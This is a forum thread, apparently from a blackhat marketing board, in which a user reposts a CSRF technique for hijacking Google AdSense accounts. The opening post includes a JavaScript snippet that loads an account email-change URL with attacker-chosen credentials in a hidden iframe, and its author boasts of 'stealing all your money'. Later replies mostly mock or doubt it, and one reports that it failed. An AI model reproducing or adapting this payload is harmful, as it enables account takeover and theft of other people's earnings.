Stealing Adsense Accounts

Ok guys i just get this from another private blackhat forum and wanted to share it here. I didnt try this yet coz i dont know how it works maybe someone can get this working.

here it is:

******************************************

Ok guys this is real Heavy Blackhat!!!!!!
Do not try this at Home or at all / or ONLY ON YOUR OWN ACCOUNT
EDUCATIONAL PURPASES ONLY!!!!!!!!

This is a kind of CSRF hackish something. Normally I don't do a lot of CSRF but this time I could not resist to try it on myself. It works very simple. I hava a page on my server which writes the email and password change URI from your Google adsense account. Into that URI I just paste my emailadres and my password. If you open this file and you are logged into Adsense inside another Firefox tab or MSIE screen, I will reset your login credentials to my own and stealing all your money. -great isn't it, tabbed browsing?- *grin*

I'm amazed it's just that easy to do, with the help of bad cookie based authentication.

Granted, the owner will get an email, but he doesn't have to do anything. it's changed by default when it happens. If it doesn't work out, we can also try to change the password alone.

<script type="text/javascript" language="JavaScript">

var w = "500"

var h = "500"

var s =

'https://www.google.com/accounts/UpdateEmail?service=adsense&[email protected]&Passwd=cool&save='

document.write("<iframe style='width:" + w + "; height:" + h + ";' ");

document.write("align='center' marginwidth='0' marginheight='0' ");

document.write("scrolling='no' frameborder='0' id='awglogin' name='awglogin' ");

document.write("src='" + s + "'>");

document.write("</iframe>");

</script>

Click to expand...

i don't think you'd get away with it for long though....

very BH......WOW.....

i think i know a couple of sites to try this on but i will not cuz its very extreme

You stole this from blackhatters didn't you?

I bet this is happening on clickbank already!!

ok so make sure that everytime you open your adsense account don't forget to logout

I'm glad someone created NoScript so I don't find this kind of thing affecting me. Its a very wicked exploit though, wow.

Well, how reliable can this be anyway; dumb bastard can't even spell: "PURPASES"(sic)!

This is precisely the kind of ignorant shit which gets sites in trouble.

"Stealing" accounts.

Great.

Fuckhead.

im all for bending rules until they break, but there is one HUGE flaw in this:

before you even see a single payment, 10 bucks says google adsense is notified by the person you stole from and you never see a dime, and possibly get banned from your own stuff google related.

not to mention what the google lawyers would do if you ever cashed their checks...

Its hard to change payeer name in adsense.... so there is nothing to do with this...

I tried the code, it doesn't seem to work :
I have two adsense accounts (the payee's name of the first one is a friend of mine because I wasn't 18 when I created it )
So I logged into it and tried to put use this url (to get the money in my second account ) :
And an adsense error loaded saying "There's is already an user registered with [email protected]"
Then I tried it with an other email adresse that is not registered to adsense, and I got an other error : "Please login or sign up"

...

A ticket to go straight to hell
It's hard to steal people's adsense money They can just report it. lol.

Trust me they is no way of changing the name i requested google change my name seeming as i was using some 1 elses name, and guess what? they banned me